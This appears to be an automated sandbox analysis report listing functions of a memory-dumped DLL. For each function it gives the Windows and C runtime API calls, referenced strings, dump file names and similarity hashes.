Function 6E908230, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E908267
___except_validate_context_record.LIBVCRUNTIME ref: 6E90826F
_ValidateLocalCookies.LIBCMT ref: 6E9082F8
__IsNonwritableInCurrentImage.LIBCMT ref: 6E908323
_ValidateLocalCookies.LIBCMT ref: 6E908378

Strings

csm, xrefs: 6E90830D

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1c95a8003561ab3fe16daa243aa8270202bcffb7d31401cfbea24db24daee70f
Instruction ID: 18a04a66b5ff7bd0cfae2ca1cc1cc601e8b52d8e9a9368dd19c111766ed74680
Opcode Fuzzy Hash: 1c95a8003561ab3fe16daa243aa8270202bcffb7d31401cfbea24db24daee70f
Instruction Fuzzy Hash: 5E41C234A00609AFCF14DFA9C890ADEBBB9BF85368F508469EC149B391D731E905CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E907520, Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,6E8FABAD,6E8FABAC,00000000,00000000,00000000,00000000,6CDDFCA0,00000000,?,00000000,6E8FABAD,?,?), ref: 6E907593
WideCharToMultiByte.KERNEL32(00000000,00000000,6E8FABAD,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 6E9075CA

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: c6a0e96ab2ccb7dd4864f35c122fdd8e79703062e2436ed0e883e88ac7a8e8e9
Instruction ID: d6147d8429ef031313e3de10292a9911bfc8e9f347064b59cd9cf19a1a1589fb
Opcode Fuzzy Hash: c6a0e96ab2ccb7dd4864f35c122fdd8e79703062e2436ed0e883e88ac7a8e8e9
Instruction Fuzzy Hash: 5F3149B2A44605ABDB10EBA48C05FAF77ACEF45B20F50462DF905DB2C0D771E501CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E9022B0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,00000024,00000000), ref: 6E902340
GetWindowLongW.USER32(?,000000FC), ref: 6E902354
CallWindowProcW.USER32(?,?,00000082,00000024,00000000), ref: 6E90236A
GetWindowLongW.USER32(?,000000FC), ref: 6E902383
SetWindowLongW.USER32 ref: 6E902392

Strings

$, xrefs: 6E9022F4

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: 17ee990eaa2b8006243579c48764746d1430f287caf1a27178d12d7a65d7282a
Instruction ID: b9ab8d20d93230ed912f10bd2f6b5ced370c6a8d19f82f410b0bbe802e838b44
Opcode Fuzzy Hash: 17ee990eaa2b8006243579c48764746d1430f287caf1a27178d12d7a65d7282a
Instruction Fuzzy Hash: A6411571904608AFCB20CF99C984A9FBBF5FF49710F108A1DE856A72A1D771E914CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD510, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,6CDDFCA0), ref: 6E8FD564
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6E8FD57B
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,00000000,6CDDFCA0), ref: 6E8FD5B0
RegCloseKey.ADVAPI32(00000000), ref: 6E8FD5C3

Strings

Advapi32.dll, xrefs: 6E8FD55F
RegOpenKeyTransactedW, xrefs: 6E8FD575

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 221160bcf146d01fab0943aa8ea5fdeebf96ead18cee2240163dfa0d7b78cc1d
Instruction ID: c19a3f2444b3173a708aed13709026040084230d94688013333e2f893237db5d
Opcode Fuzzy Hash: 221160bcf146d01fab0943aa8ea5fdeebf96ead18cee2240163dfa0d7b78cc1d
Instruction Fuzzy Hash: DF318CB1A0420AEFDB10CFD9CC44BABBBB9EF49755F104929E915AB2C0D774D901CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F7BD0, Relevance: 10.6, APIs: 7, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6E8F7BEE
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F7BFC
MultiByteToWideChar.KERNEL32(00000003,00000000,?,000000FF,00000000,00000000), ref: 6E8F7C11
SysFreeString.OLEAUT32(00000000), ref: 6E8F7C1C
VarBstrCmp.OLEAUT32(?,00000000,00000400,00000000), ref: 6E8F7C3B
SysFreeString.OLEAUT32(00000000), ref: 6E8F7C48
SysFreeString.OLEAUT32 ref: 6E8F7C72

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Free$ByteCharMultiWide$AllocBstr
String ID:
API String ID: 1801994256-0
Opcode ID: 9f631c84ab29407ad6b0f4302c4e4663b3419080e4d3dcdedf93f718f7d689d8
Instruction ID: eb653117f120aff25f1b18b68bfa2676aaad866381200a5ceb0d868ba4dc5989
Opcode Fuzzy Hash: 9f631c84ab29407ad6b0f4302c4e4663b3419080e4d3dcdedf93f718f7d689d8
Instruction Fuzzy Hash: 57116B322A8717FFFF1106958D09F5A7A68EF07B70F200A04FA18EA2C0C7A39D05C5A4

Uniqueness

Uniqueness Score: -1.00%

Function 6E91CB41, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 6E91CB98
ext-ms-, xrefs: 6E91CBAC

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e87f737239f42b584958f116e5f23da40102d4b3262238e3a297044d42c8c082
Instruction ID: 50ae9629fd267c65d73576221a9dcd2c8a42665611b54148c6f3fad453b12bd4
Opcode Fuzzy Hash: e87f737239f42b584958f116e5f23da40102d4b3262238e3a297044d42c8c082
Instruction Fuzzy Hash: B621A4729DD61DAFDF558AA98D80A8A376C9F42761B310931FC25EF380D670D800CDD1

Uniqueness

Uniqueness Score: -1.00%

Function 6E923CFE, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6E923A48: _free.LIBCMT ref: 6E923A6D

_free.LIBCMT ref: 6E923D4C

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

_free.LIBCMT ref: 6E923D57
_free.LIBCMT ref: 6E923D62
_free.LIBCMT ref: 6E923DB6
_free.LIBCMT ref: 6E923DC1
_free.LIBCMT ref: 6E923DCC
_free.LIBCMT ref: 6E923DD7

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction ID: 280df8173607e9304d27d055dab3aef57a5a427d8ad065f31595da0e8a8fbf0e
Opcode Fuzzy Hash: 626a4af83b5a11caf917ef27dbac739c1afc9d2b6aaeb70603d007920aac55e6
Instruction Fuzzy Hash: B6115E71590B48BAD931E7F0DC09FCB779CAF91B04F404C38B39966094D736E5095B51

Uniqueness

Uniqueness Score: -1.00%

Function 6E91E483, Relevance: 9.3, APIs: 6, Instructions: 319fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000001,00000000), ref: 6E91E4CB
__fassign.LIBCMT ref: 6E91E6AA
__fassign.LIBCMT ref: 6E91E6C7
WriteFile.KERNEL32(?,6E91685B,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6E91E70F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E91E74F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6E91E7FB

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: a05a8b70184b035e45d9f0ae5944e0744bb4bcd98ae630a336cd85ac5ba87d48
Instruction ID: fcd62d01d0e059c841b3d4ed3eb04446fc8ca0be3101f1c4704d32a8dd766f59
Opcode Fuzzy Hash: a05a8b70184b035e45d9f0ae5944e0744bb4bcd98ae630a336cd85ac5ba87d48
Instruction Fuzzy Hash: 79D19775D0825D9FDF11CFE8C8809EDBBB9AF49314F28016AE815BB241E730AA42CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E900A60, Relevance: 9.2, APIs: 6, Instructions: 198threadCOMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 6E900B0E

Part of subcall function 6E9023E0: EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E902414
Part of subcall function 6E9023E0: GetClassInfoExW.USER32 ref: 6E902449
Part of subcall function 6E9023E0: GetClassInfoExW.USER32 ref: 6E90245C
Part of subcall function 6E9023E0: LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E902467

Part of subcall function 6E9073A0: GetProcessHeap.KERNEL32(00000008,00000008,00000000,6E90226B), ref: 6E9073A5
Part of subcall function 6E9073A0: HeapAlloc.KERNEL32(00000000), ref: 6E9073AC

SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?,?,?,?,6E928FD0,000000FF), ref: 6E900B57
GetCurrentThreadId.KERNEL32 ref: 6E900BFC
EnterCriticalSection.KERNEL32(6E93DA58), ref: 6E900C0A
LeaveCriticalSection.KERNEL32(6E93DA58), ref: 6E900C23
CreateWindowExW.USER32 ref: 6E900C59

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$ClassEnterHeapInfoLeave$AllocClientCreateCurrentErrorLastProcessRectThreadWindow
String ID:
API String ID: 859899439-0
Opcode ID: 7b3890ef41bc8aaef004b6468532aa6fed6350d016e15b17fc75d2cfab8ee95e
Instruction ID: 0283fb51a0dfe2d5b45fd39d993ec1b46854afe562a8db309963e9fe1e8ae703
Opcode Fuzzy Hash: 7b3890ef41bc8aaef004b6468532aa6fed6350d016e15b17fc75d2cfab8ee95e
Instruction Fuzzy Hash: C1615CB1914619AFDB14CFA8C994BAEBBB9FF89714F50461DE815AB340E770E800CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FDF40, Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,00000000,00000000,?,C000008C,00000001), ref: 6E8FDF7E
CharNextW.USER32(00000000,?,00000000,00000000), ref: 6E8FDFAB
CharNextW.USER32(7691EEF0,?,00000000,00000000), ref: 6E8FDFC4
CharNextW.USER32(7691EEF0,?,00000000,00000000), ref: 6E8FDFCF
CharNextW.USER32(00000001,?,00000000,00000000), ref: 6E8FE03E

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 9e20d51820dbac89c6d0d828bcf7a6cdb158760f39d3da9a22000cd07649b42a
Instruction ID: bfe28671acba8c832d136d2cafa7c82036af9b47e9113e767e007e428773145c
Opcode Fuzzy Hash: 9e20d51820dbac89c6d0d828bcf7a6cdb158760f39d3da9a22000cd07649b42a
Instruction Fuzzy Hash: D341F636604216CFCB10DFADC480669B7F2FFC9360B54486AE844C7388E7359983CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4850, Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4899
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F48BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F48DB
__Getctype.LIBCPMT ref: 6E8F4971
std::_Facet_Register.LIBCPMT ref: 6E8F4990
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F49A8

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 754c522b50329fa36cc5c1f05ced5f74df59fe9fad450baeac6899c85e4356a3
Instruction ID: 975db9106ffe3dc384ed00635363ef2a9502a9555be379f7d1a628d47936bcbc
Opcode Fuzzy Hash: 754c522b50329fa36cc5c1f05ced5f74df59fe9fad450baeac6899c85e4356a3
Instruction Fuzzy Hash: 3341C171A04608CFDB60CF98C940ADAB7B5EF95764F14496ED815AB390DB30EE06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FD600, Relevance: 9.1, APIs: 6, Instructions: 121registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E8FD510: GetModuleHandleW.KERNEL32(Advapi32.dll,6CDDFCA0), ref: 6E8FD564

RegCloseKey.ADVAPI32(?,?,?), ref: 6E8FD662
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 6E8FD6AA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 6E8FD6E3
RegCloseKey.ADVAPI32(?), ref: 6E8FD6F8
RegCloseKey.ADVAPI32(?), ref: 6E8FD720
RegCloseKey.ADVAPI32(?), ref: 6E8FD748

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Enum$HandleModule
String ID:
API String ID: 2852649468-0
Opcode ID: 8d6340ae641e7e5047c3be0cb34c28a3aaa8c128a0bd6d572394cc4ab6d58d71
Instruction ID: 88184b401c0694583ff913e40202cc02c86dbee818dd6041dd7625fa6b9f3130
Opcode Fuzzy Hash: 8d6340ae641e7e5047c3be0cb34c28a3aaa8c128a0bd6d572394cc4ab6d58d71
Instruction Fuzzy Hash: 71417FB22083059BD710DFA4D854BABB7E8EF98754F00492EF999D7280DB74D905CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E8FF4C0, Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 351COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6E8F0000,?,00000104), ref: 6E8FF6AC
GetModuleHandleW.KERNEL32(00000000), ref: 6E8FF864

Part of subcall function 6E8F7B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6E8F7B5D

Strings

Module, xrefs: 6E8FF911
Module_Raw, xrefs: 6E8FF93C
REGISTRY, xrefs: 6E8FF969

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: 95715da26ca83f4d862ff7fb14de0064ea4cbdf67f599e20eb6f6a83b7bccb1c
Instruction ID: f6b566f601827f04c072c79b9e1f81ec401b54d452516d08e20b90ddafadf18a
Opcode Fuzzy Hash: 95715da26ca83f4d862ff7fb14de0064ea4cbdf67f599e20eb6f6a83b7bccb1c
Instruction Fuzzy Hash: 3FD1A275A00225CBDB649FA4DC50BDEB378BF65344F1009A9D80EA7680EB74DE46CF82

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5BB0, Relevance: 9.1, APIs: 6, Instructions: 90windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6E8F5BCB
GetMenuCheckMarkDimensions.USER32 ref: 6E8F5C12
CoUninitialize.OLE32(?,6E8F6387), ref: 6E8F5C5A
GetForegroundWindow.USER32(?,6E8F6387), ref: 6E8F5C79
GetSystemDefaultUILanguage.KERNEL32(?,6E8F6387), ref: 6E8F5CD8

Part of subcall function 6E8F5D10: GetMessageExtraInfo.USER32(00000031,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5E0F
Part of subcall function 6E8F5D10: GetDesktopWindow.USER32 ref: 6E8F5E15
Part of subcall function 6E8F5D10: UnregisterApplicationRecoveryCallback.KERNEL32 ref: 6E8F5EA6
Part of subcall function 6E8F5D10: UnregisterApplicationRestart.KERNEL32 ref: 6E8F5EC0

AnyPopup.USER32 ref: 6E8F5CE8

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApplicationUnregisterWindow$CallbackCheckCountDefaultDesktopDimensionsExtraForegroundInfoLanguageMarkMenuMessagePopupRecoveryRestartSystemTickUninitialize
String ID:
API String ID: 4182693304-0
Opcode ID: aa47547ae732114ba4aa45084e5c43df4a9b4475f9bae866d22145c4339401e3
Instruction ID: 8a4b9bbf79aa2ee15b8d316a49fa60be16a50629e202d5e36406841c7948074a
Opcode Fuzzy Hash: aa47547ae732114ba4aa45084e5c43df4a9b4475f9bae866d22145c4339401e3
Instruction Fuzzy Hash: 35319172839F08CFDA13EFB68415285B668BF677C9B20CB13A90776092EB1514C3C601

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F5F20, Relevance: 9.1, APIs: 6, Instructions: 79threadwindowclipboardCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00000031,0000004F,?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8), ref: 6E8F5F67
IsProcessDPIAware.USER32 ref: 6E8F5F6F
CoFreeUnusedLibraries.OLE32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5F80
GetFocus.USER32 ref: 6E8F5FB0
SetFileApisToOEM.KERNEL32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F5FE3
GetClipboardSequenceNumber.USER32(?,?,?,?,6E8F5E78,?,?,?,?,?,?,6E8F5CF8,?,6E8F6387), ref: 6E8F6020

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ApisAwareClipboardFileFocusFreeLibrariesLocaleNumberProcessSequenceThreadUnused
String ID:
API String ID: 3457905144-0
Opcode ID: 4e71ed450877e47912e6bb8101ba67389e536abc3d39bb4c84f63a752010b3fe
Instruction ID: f12d93784eb1c6fe65279b96c1e1fb92cd1cff330e65df03c40d23d1438a3c9c
Opcode Fuzzy Hash: 4e71ed450877e47912e6bb8101ba67389e536abc3d39bb4c84f63a752010b3fe
Instruction Fuzzy Hash: 67213872C58F08CFC702DF78842425AF7ADAF9B3D4F009756E80167112EB6188938691

Uniqueness

Uniqueness Score: -1.00%

Function 6E909ACC, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E9081BC,6E904296,6E904919,?,6E904B51,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A), ref: 6E909ADA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E909AE8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E909B01
SetLastError.KERNEL32(00000000,6E904B51,?,00000001,?,?,00000001,?,6E939FC0,0000000C,6E904C4A,?,00000001,?), ref: 6E909B53

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: abd9e991bd0a62a12e104e5065c65cfbe5b3af39cc76e42d4c093a5fa2c26d3b
Instruction ID: 2901d2d9b1159653d2126871d8b9f0867e469c5d240c07dbf6432c82767d3e0c
Opcode Fuzzy Hash: abd9e991bd0a62a12e104e5065c65cfbe5b3af39cc76e42d4c093a5fa2c26d3b
Instruction Fuzzy Hash: AF014C7212EB115E9B5019F56C90F46376CEF83FB97A0073EE520551D0EF91C8129D40

Uniqueness

Uniqueness Score: -1.00%

Function 6E9005E0, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6E8FAF10: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,6CDDFCA0,?), ref: 6E8FAD57

ShellExecuteW.SHELL32(00000000,edit,?,00000000,00000000,00000001), ref: 6E900638
PdhRemoveCounter.PDH(?,?,00000000), ref: 6E9006D3
PdhCloseQuery.PDH(?,?,00000000), ref: 6E9006E8

Strings

0, xrefs: 6E900796
edit, xrefs: 6E900631

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCounterExecuteFolderPathQueryRemoveShell
String ID: 0$edit
API String ID: 2809573910-562573004
Opcode ID: fc8309ba45ba56c8ac39cfe36e9e185d16e45220f0a6a8d367422d7e66f91861
Instruction ID: 7e68decce20efa663fda8ffebd28dbbdaae004a3eae492c61716a88968dd691b
Opcode Fuzzy Hash: fc8309ba45ba56c8ac39cfe36e9e185d16e45220f0a6a8d367422d7e66f91861
Instruction Fuzzy Hash: E391F0716043128FE700CF68C894B9BB7A9FF95314F904A1CE9949B290E772E985CFD2

Uniqueness

Uniqueness Score: -1.00%

Function 6E91BE3B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6E91BE40

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 86580a3b6a0fef2ac275233e8df3ea03d52ef60d16d21ce48df2f47f0afe0aae
Instruction ID: bcd7e61b8c178faa3eb279f0475a333f264d1e8cb8c61935858c826bc3f40b1b
Opcode Fuzzy Hash: 86580a3b6a0fef2ac275233e8df3ea03d52ef60d16d21ce48df2f47f0afe0aae
Instruction Fuzzy Hash: 8B21A17121C51EBFAB109EE6CC809D777BEEF553687014918E62496648EB31EC118FE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2570, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F260F

